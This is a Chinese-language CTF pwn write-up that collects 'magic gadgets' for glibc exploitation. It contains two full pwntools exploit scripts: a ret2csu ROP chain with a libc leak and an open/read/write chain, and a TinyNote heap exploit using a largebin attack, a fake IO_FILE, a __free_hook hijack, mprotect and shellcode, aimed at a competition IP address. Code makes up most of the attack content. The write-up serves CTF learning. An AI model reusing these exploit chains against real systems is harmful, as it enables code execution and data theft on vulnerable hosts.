这次鹏程杯的pwn题又有好多新的知识,做题过程中遇到了magic_gadget的使用,所以来总结一下学习以来遇到的magic_gadget,后面也会根据学习进度更新
什么是magic_gadget?实际上是pwn攻击中一些具有奇妙功效的gadget,它们功能各异,但是应用在pwn的payload构造中往往是一个与众不同但有方便快捷的构造方式
这个gadget的功能不难理解,就是将ebx寄存器中的值加到rbp-0x3d的位置上,乍一看似乎很难用,需要控制rbp和ebx才能实现半个任意地址写的功能,但是在ROP中有一个很高效使用的方法控制这两个寄存器:ret2csu,先让我们复习一下:
.text:000000000040059A pop rbx
.text:000000000040059B pop rbp
.text:000000000040059C pop r12
.text:000000000040059E pop r13
.text:00000000004005A0 pop r14
.text:00000000004005A2 pop r15
.text:00000000004005A4 retn
在这里我们可以很轻易的控制rbx和rbp,再通过这个magic_gaadget这样就能实现一个任意地址写了
int __cdecl main(int argc, const char **argv, const char **envp) { char buf[64]; // [rsp+10h] [rbp-40h] BYREF init_seccomp(argc, argv, envp); alarm(0x1Eu); setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); read(0, buf, 0x100uLL); return 0; }
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)
[*] '/root/Desktop/sli/silent'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
没有输出函数,开启了full relro,只有一个孤零零的栈溢出
这样似乎陷入了一个困境,没有输出函数就无法泄露libc地址,full relro又无法利用ret2dlsolve,这对于一些pwn栈漏洞知识掌握不深的师傅(没错就是我)似乎就没办法进行攻击了,后来经过其他师傅提醒到了这个magic_gadget
虽然got表是不可写了,但是并不意味着其他地方就不储存函数地址了,比如在bss段上就储存了一些地址
bss:0000000000601020 public stdout@@GLIBC_2_2_5
.bss:0000000000601020 ; FILE *stdout
.bss:0000000000601020 ?? ?? ?? ?? ?? ?? ?? ?? stdout@@GLIBC_2_2_5 dq ? ; DATA XREF: LOAD:00000000004003C8↑o
.bss:0000000000601020 ; main+46↑r
.bss:0000000000601020 ; Alternative name is 'stdout'
.bss:0000000000601020 ; Copy of shared data
.bss:0000000000601028 ?? ?? ?? ?? ?? ?? ?? ?? align 10h
.bss:0000000000601030 public stdin@@GLIBC_2_2_5
.bss:0000000000601030 ; FILE *stdin
.bss:0000000000601030 ?? ?? ?? ?? ?? ?? ?? ?? stdin@@GLIBC_2_2_5 dq ? ; DATA XREF: LOAD:0000000000400410↑o
.bss:0000000000601030 ; main+28↑r
.bss:0000000000601030 ; Alternative name is 'stdin'
还有gadget
0x00000000004007e8 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret
那么我们的思路就是利用ret2csu和magic_gadget将stdout改成一个输出函数的地址进行调用就可以泄露libc了
题目给了libc版本为2.27,可以利用libc文件查找相对偏移
构造如下
def csu(rbx, rbp, r12, r15, r14, r13, last): # pop rbx,rbp,r12,r13,r14,r15 # rbx should be 0, # rbp should be 1,enable not to jump # r12 should be the function we want to call() # rdi=edi=r15d # rsi=r14 # rdx=r13 # csu(0, 1, fun_got, rdx, rsi, rdi, last) payload = "" payload += p64(csu_end_addr) payload += p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15) payload += p64(csu_front_addr) payload += p64(0)+p64(0xffffffffffd24620-0xd80+0xf0)+p64(0x601020+0x3d)+p64(read_got)*4 payload += p64(last) return payload pl=p64(read_got)*8+p64(bss) pl+=csu(0, 1, read_got, 0x100, elf.bss()+0x100, 0,magic_gadget)+p64(0x400788)+p64(elf.bss()+0x300)+p64(0x4008DC)
效果:
接下来直接orw构造链就好了
完整exp如下:
import os import sys import time from pwn import * from ctypes import * context.os = 'linux' context.log_level = "debug" s = lambda data :p.send(str(data)) sa = lambda delim,data :p.sendafter(str(delim), str(data)) sl = lambda data :p.sendline(str(data)) sla = lambda delim,data :p.sendlineafter(str(delim), str(data)) r = lambda num :p.recv(num) ru = lambda delims, drop=True :p.recvuntil(delims, drop) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4,b'\x00')) uu64 = lambda data :u64(data.ljust(8,b'\x00')) leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr)) l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00")) l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00")) context.terminal = ['gnome-terminal','-x','sh','-c'] x64_32 = 1 if x64_32: context.arch = 'amd64' else: context.arch = 'i386' p=process('./silent') #p = remote('172.10.0.8', 9999) libc=ELF('./libc-2.27.so') elf=ELF('./silent') def duan(): gdb.attach(p) pause() vul=0x4006A0 #0x00000000004007e8 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret magic_gadget=0x00000000004007e8 read_got=0x600FE0 bss=elf.bss() leak('bss',bss) bss=0x601200 csu_end_addr=0x40095A csu_front_addr=0x400940 rdi = 0x400963 rsi = 0x400961 ret = 0x400696 def csu(rbx, rbp, r12, r15, r14, r13, last): # pop rbx,rbp,r12,r13,r14,r15 # rbx should be 0, # rbp should be 1,enable not to jump # r12 should be the function we want to call() # rdi=edi=r15d # rsi=r14 # rdx=r13 # csu(0, 1, fun_got, rdx, rsi, rdi, last) payload = "" payload += p64(csu_end_addr) payload += p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15) payload += p64(csu_front_addr) payload += p64(0)+p64(0xffffffffffd24620-0xd80+0xf0)+p64(0x601020+0x3d)+p64(read_got)*4 payload += p64(last) return payload pl=p64(read_got)*8+p64(bss) pl+=csu(0, 1, read_got, 0x100, elf.bss()+0x100, 0, magic_gadget)+p64(0x400788)+p64(elf.bss()+0x300)+p64(0x4008DC)#+p64(0x400788)+p64(elf.bss()+0x300)#+csu(0,1,0x601020,0x40,elf.got['read'],1,) sl(pl) #sl('a') s('./flag\x00') duan() pl2 = '\x00'*0x48+csu(0,1,0x601020,0x50,elf.got['read'],1,0x4008DC) s(pl2) read_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) print(hex(read_addr)) libc_base = read_addr - libc.sym["read"] print(hex(libc_base)) system = libc_base + libc.symbols['system'] binsh = libc_base+next(libc.search(b"/bin/sh\x00")) openn = libc_base + libc.symbols['open'] read = libc_base + libc.symbols['read'] write = libc_base + libc.symbols['write'] rdx = libc_base+0x1b96 rsi = libc_base+0x023a6a pl3 = '\x00'*0x48+p64(rdi)+p64(elf.bss()+0x100)+p64(rsi)+p64(0)+p64(rdx)+p64(0)+p64(openn)+p64(rdi)+p64(3)+p64(rsi)+p64(elf.bss()+0x400)+p64(rdx)+p64(0x50)+p64(read)+p64(rdi)+p64(1)+p64(rsi)+p64(elf.bss()+0x400)+p64(rdx)+p64(0x50)+p64(write)#+p64()+p64()+p64()+p64()+p64()+p64()+p64()+p64()+p64()+p64()+p64() sl(pl3) itr()
还有类似gadget:
adc DWORD PTR [rbp+0x48],edx
上述利用参考:BUUCTF_de1ctf_2019_unprintable - ZikH26 - 博客园 (cnblogs.com)
这段gadget作用很明显,实现的是将rdx与rdi进行转换
这段gadget在栈漏洞中似乎找不到用武之地,但是他是堆漏洞中很常用的一个gadget
在高版本的堆利用pwn题中有时会出现题目开启了沙箱的情况,setcontext 的代码发生了变化,不再是使用 rdi
而是使用了 rdx
,这个时候往往需要利用控制寄存器rdx通过setcontext + 61
来进行orw链的调用
pwndbg> x/gi &setcontext+0x61
0x7f64a0f6ef5d <setcontext+61>: mov rsp,QWORD PTR [rdx+0xa0]
0x7f64a0f6ef64 <setcontext+68>: mov rbx,QWORD PTR [rdx+0x80]
0x7f64a0f6ef6b <setcontext+75>: mov rbp,QWORD PTR [rdx+0x78]
0x7f64a0f6ef6f <setcontext+79>: mov r12,QWORD PTR [rdx+0x48]
0x7f64a0f6ef73 <setcontext+83>: mov r13,QWORD PTR [rdx+0x50]
0x7f64a0f6ef77 <setcontext+87>: mov r14,QWORD PTR [rdx+0x58]
0x7f64a0f6ef7b <setcontext+91>: mov r15,QWORD PTR [rdx+0x60]
看着是不是很熟悉?这基本上就是ret2csu的翻版,利用这个位置的代码需要我们控制rdx寄存器的数据,但函数中最常见的一般只有pop rdi;ret,那么再通过这个gadget就能实现rdi-->rdx的调换以执行orw链
参考文章:西湖论剑2021-TinyNote 题解-安全客 - 安全资讯平台 (anquanke.com)
因为主要是讲解magic_gadget,所以题目前的堆风水构造就不详细说明,具体参考以上链接
在这道题里面,我们通过将gadget放入劫持后的freehook然后利用setcontext+0x61执行其中的gadget,此时我们需要先想办法修改 rdx,那么就要用到这个magic_gadget了
然后我们可以发现,free的参数是放在rdi中的,也就是 _IO_base_buf
。在这个利用中,这里存储的是 heap_addr+0x240
的地址,因此,我们就可以在 heap+0x240
中存放一个合适的地址,使其满足以下条件:
[rdx+0x20] ----> setcontext+61 [rdx+0xa0] ----> 我们劫持的栈帧 [rdx+0xa8] ----> 第一条 ROP 指令
这里挑选的 rdx
值为 heap+0x40
,因为这个位置及不会影响 0x20
的 tcachebin
,也不会影响后续存放 ROP
链,以及最终劫持 __free_hook
所需的 tcache bin
。接下来将这些值一个个插入进去就能够完成构造。
完整exp:
#encoding:utf-8 from pwn import * import re ip = '82.157.6.175' port = 24200 local = 0 filename = './TinyNote' PREV_INUSE = 0x1 IS_MMAPPED = 0x2 NON_MAIN_ARENA = 0x4 def create_connect(): global io, elf, libc, libc_name elf = ELF(filename) context(os=elf.os, arch=elf.arch) if local: io = process(filename) if elf.arch == 'amd64': libc_name = '/lib/x86_64-linux-gnu/libc.so.6' elif elf.arch == 'i386': libc_name = '/lib/i386-linux-gnu/libc.so.6' else: io = remote(ip, port) try: libc_name = 'libc-2.33.so' libc = ELF(libc_name) except: pass cc = lambda : create_connect() s = lambda x : io.send(x) sl = lambda x : io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) sa = lambda x, y: io.sendafter(x, y) g = lambda x: gdb.attach(io, x) r = lambda : io.recv(timeout=1) rr = lambda x: io.recv(x, timeout=1) rl = lambda : io.recvline(keepends=False) ru = lambda x : io.recvuntil(x) ra = lambda : io.recvall(timeout=1) it = lambda : io.interactive() cl = lambda : io.close() def add(idx): sa(b'Choice:', b'1') sa(b'Index:', str(idx).encode()) def edit(idx, content): sa(b'Choice:', b'2') sa(b'Index:', str(idx).encode()) sa(b'Content:', content.encode() if isinstance(content, str) else content) def show(idx): sa(b'Choice:', b'3') sa(b'Index:', str(idx).encode()) ru(b'Content:') def delete(idx): sa(b'Choice:', b'4') sa(b'Index:', str(idx).encode()) def mchunk_size(size): return p64(0) + p64(size) def pwn(): cc() add(0) add(1) delete(0) show(0) heap_addr = u64(rr(5).ljust(0x8, b'\x00')) << 12 log.success('heap_addr: 0x%x', heap_addr) # 提前记录好 _IO_buf_base 和 _IO_buf_end 的相关参数 length = 0x240 start = heap_addr + 0x240 end = start + ((length) - 100)//2 delete(1) poc = ((heap_addr+0x2c0) >> 12) ^(heap_addr+0x50) edit(1, p64(poc)) add(0) add(1) # 修改 0x240 的 tcache 数量,并构造好首部 edit(1, p8(8)*8 + p64(0x241)) delete(0) add(0) add(1) delete(0) delete(1) # 将 fd 指向刚刚构造好的 0x240 chunk poc = ((heap_addr+0x2e0)>>12) ^ (heap_addr+0x60) edit(1, p64(poc)) add(1) add(0) # unsorted_chunk: heap+0x10 log.success('unsorted_chunk: 0x%x', heap_addr+0x60) delete(1) add(1) edit(1, mchunk_size(0x21)) add(1) edit(1, mchunk_size(0x451)) for i in range(0x22): add(1) add(1) add(2) delete(1) delete(2) poc = ((heap_addr+0x780)>>12) ^ (heap_addr+0x310) edit(2, p64(poc)) add(2) # 获得第一块 largebin_chunk,地址为 heap+0x300 add(1) log.success('large chunk No.1: 0x%x', heap_addr+0x300) delete(2) add(2) edit(2, mchunk_size(0x21)) add(2) edit(2, mchunk_size(0x441)) add(2) add(2) # 这里提前将 _IO_buf_end 的值填上 edit(2, p64(end)) for i in range(0x1f): add(2) add(2) edit(2, mchunk_size(0x31)) add(2) delete(0) show(0) libc.address = u64(rr(8)) - 0x1e0c00 log.success('libc_addr: 0x%x', libc.address) _IO_list_all = libc.sym['_IO_list_all'] _IO_str_jumps = libc.address + 0x1e2560 free_hook = libc.address + 0x1e3e20 _IO_str_overflow = libc.address + 0x8fbb0 setcontext = libc.address + 0x529ad # 0x000000000014a0a0 : mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20] hijack_rsp = libc.address + 0x14a0a0 # 0x0000000000028a55 : pop rdi ; ret pop_rdi = libc.address + 0x28a55 # 0x000000000002a4cf : pop rsi ; ret pop_rsi = libc.address + 0x2a4cf # 0x00000000000c7f32 : pop rdx ; ret pop_rdx = libc.address + 0xc7f32 # 0x0000000000044c70 : pop rax ; ret pop_rax = libc.address + 0x44c70 # 0x000000000006105a: syscall; ret; syscall = libc.address + 0x6105a # 0x59020 : mov rsp, rdx ; ret mov_rdx_rsp = libc.address + 0x59020 # 0x0000000000033af2 : pop rsp ; ret pop_rsp = libc.address + 0x33af2 ret = libc.address + 0x26699 mprotect = libc.sym['mprotect'] new_stack = libc.bss() read_buf = libc.bss() + 0x200 add(0) delete(0) delete(2) # heap_addr + 0x60 对应 [rdx + 0x20] 的位置,放置 setcontext+61 的地址 edit(0, p64(setcontext)) poc = ((heap_addr+0xc00)>>12)^((heap_addr+0x7b0)) edit(2, p64(poc)) add(0) # 获得第二块 largebin_chunk,地址为 heap+0x300 add(2) log.success('large chunk No.2: 0x%x', heap_addr+0x7a0) delete(0) delete(1) add(0) # 第一个 large chunk 入链 add(1) delete(0) delete(1) poc = ((heap_addr+0x80)>>12)^((heap_addr+0x320)) edit(1, p64(poc)) add(0) add(1) target = _IO_list_all - 0x20 # 布置好 largebin attack 使用的 Poc edit(1, p64(heap_addr+0x300)+p64(target)) delete(0) delete(2) add(0) # 第二个 large chunk 入链,写入 _IO_list_all add(0) edit(1, p64(heap_addr+0x300)+p64(heap_addr+0x300)) edit(2, p64(0)+p64(0)) add(0) add(1) delete(1) # heap_addr + 0xe0 -----> mov rsp, [rdx + 0xa0] # heap_addr + 0xe8 -----> mov rcx, [rdx + 0xa8]; push rcx # 这里我们就可以放入第一条 ROP 指令 edit(1, p64(heap_addr+0x1c0)+p64(pop_rdi)) delete(0) poc = ((heap_addr+0xe0)>>12) ^ (heap_addr+0x870) edit(0, p64(poc)) add(0) add(1) # 修改 FAKE IO_FILE 的 vtable 为 _IO_str_jumps edit(1, p64(0)+p64(_IO_str_jumps)) delete(0) add(0) add(1) delete(0) delete(1) poc = ((heap_addr+0x100)>>12) ^ (heap_addr+0x7d0) edit(1, p64(poc)) add(0) add(1) # 填充 FAKE IO_FILE,写入 _IO_buf_base edit(1, p64(0) + p64(start)) delete(0) add(0) add(1) delete(0) delete(1) poc = ((heap_addr+0x120)>>12) ^ (heap_addr+0x7f0) edit(1, p64(poc)) add(0) add(1) # 填充 FAKE IO_FILE edit(1, p64(0) + p64(0)) delete(0) add(0) add(1) delete(0) delete(1) poc = ((heap_addr+0x140)>>12) ^ (heap_addr+0x810) edit(1, p64(poc)) add(0) add(1) # 填充 FAKE IO_FILE edit(1, p64(0) + p64(0)) delete(0) add(0) add(1) delete(0) delete(1) poc = ((heap_addr+0x160)>>12) ^ (heap_addr+0x830) edit(1, p64(poc)) add(0) add(1) # 填充 FAKE IO_FILE edit(1, p64(0) + p64(0)) delete(0) add(0) add(1) delete(0) delete(1) poc = ((heap_addr+0x180)>>12) ^ (heap_addr+0x850) edit(1, p64(poc)) add(0) add(1) edit(1, p64(0) + p64(0)) delete(0) add(2) add(2) edit(2, p64(0)+p64(free_hook)) # heap_addr + 0x1c0 add(0) add(1) delete(0) # heap_addr + 0x1c0: 0, pop rsi edit(0, p64(0)+p64(pop_rsi)) delete(1) poc = ((heap_addr+0x1e0)>>12) ^ (heap_addr+0x1d0) edit(1, p64(poc)) add(0) # heap_addr + 0x1e0: 0x100, &read edit(0, p64(0x100)+p64(libc.sym['read'])) add(1) # heap_addr + 0x1d0: new_stack, pop rdx edit(1, p64(new_stack)+p64(pop_rdx)) add(0) add(1) delete(0) delete(1) poc = ((heap_addr+0x220)>>12) ^ (heap_addr+0x1f0) edit(1, p64(poc)) add(1) add(2) # heap_addr + 0x1f0: pop rsp, &new_stack edit(2, p64(pop_rsp)+p64(new_stack)) edit(1, p64(new_stack)) add(0) # heap_addr + 0x240 edit(0, p64(hijack_rsp)+p64(heap_addr+0x40)) # 第一个对应的就是拷贝到 free_hook 的 gadget 地址,执行 gadget # 第二个对应的就是 mov rdx, qword ptr [rdi+8] add(1) add(2) delete(1) delete(2) poc = ((heap_addr+0x280)>>12) ^ (free_hook) edit(2, p64(poc)) add(1) add(2) filename_addr = new_stack + 0x8 * 27 # 第一段 ROP:执行 mprotect,将 heap 内存区域变成 RWX poc = b'' poc += p64(pop_rdi) poc += p64(heap_addr) poc += p64(pop_rsi) poc += p64(0x4000) poc += p64(pop_rdx) poc += p64(7) poc += p64(libc.sym['mprotect']) # 第二段 ROP:将 shellcode 写入 heap 并跳转执行 poc += p64(pop_rdi) poc += p64(0) poc += p64(pop_rsi) poc += p64(heap_addr) poc += p64(pop_rdx) poc += p64(0x100) poc += p64(libc.sym['read']) poc += p64(heap_addr) s(poc) # 获取 flag 文件名 shellcode = b'' shellcode += asm(shellcraft.open('./')) shellcode += asm(shellcraft.getdents64(3, read_buf, 0x400)) shellcode += asm(shellcraft.write(1,read_buf, 0x400)) shellcode += asm(''' mov rdi, 0; mov rsi, 0x%x;mov rdx, 0x100;mov rax, 0; syscall; push rsi; ret; ''' % (heap_addr+0x100)) s(shellcode) if local: r() filename = '/flag' else: ru(b'haha_') filename = 'haha_'+rr(10).decode() r() r() shellcode = asm(shellcraft.cat(filename)) s(shellcode) log.success('flag: %s', ru(b'}').decode()) cl() if __name__ == '__main__': pwn()
<svcudp_reply+26>: mov rbp,QWORD PTR [rdi+0x48]
<svcudp_reply+30>: mov rax,QWORD PTR [rbp+0x18]
<svcudp_reply+34>: lea r13,[rbp+0x10]
<svcudp_reply+38>: mov DWORD PTR [rbp+0x10],0x0
<svcudp_reply+45>: mov rdi,r13
<svcudp_reply+48>: call QWORD PTR [rax+0x28]
mov rbp, QWORD PTR [rdi+0x48]
从rdi+0x48
地址处加载一个64位值到rbp
寄存器中。mov rax, QWORD PTR [rbp+0x18]
从rbp+0x18
地址处加载一个64位值到rax
寄存器中。lea r13, [rbp+0x10]
计算rbp+0x10
的地址并将其存储到r13
寄存器中。mov DWORD PTR [rbp+0x10], 0x0
将值0
存储到rbp+0x10
地址处的32位内存中。mov rdi, r13
将r13
的值存储到rdi
寄存器中。call QWORD PTR [rax+0x28]
调用rax+0x28
地址处存储的函数,将函数的返回地址存储在程序的调用栈中这段汇编代码提供了一个类似与栈迁移的效果,具体来说是通过控制rdi来控制rbp的值从而实现此效果,是高版本堆利用orw的另一种常用的调用链
### ida
int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { int v2; // [rsp+4h] [rbp-Ch] ready(); while ( 1 ) { do { while ( 1 ) { menu(); v2 = my_read(); if ( v2 != 4 ) break; edit(); } } while ( v2 > 4 ); if ( v2 == 3 ) { show(); } else if ( v2 <= 3 ) { if ( v2 == 1 ) { add(); } else if ( v2 == 2 ) { delete(); } } } }
增删查改四个功能都有
if ( size > 0x550 || size <= 0x41F ) { puts("size error!"); exit(0); }
其中add功能只能add largebin chunk
free功能里有UAF漏洞
if ( index <= 0x20 && pwn_ptr[index] ) free(pwn_ptr[index]);
并且开启了沙箱
那么利用House of apple2的思想劫持IO_wide_data来进行io流调用,gadget写在伪造的io_file中
那么当执行了magic_gadget后
可以看到rbp和rsp迁移到了堆上执行了orw调用链
参考文章:[原创] CTF 中 glibc堆利用 及 IO_FILE 总结-Pwn-看雪-安全社区|安全招聘|kanxue.com
magic_gadget是一个非常好用的小技巧,在栈和堆的攻击中都有不俗的效果,这些利用贵在学习中的不断积累,熟练掌握能够使pwn攻击更加快、准、狠。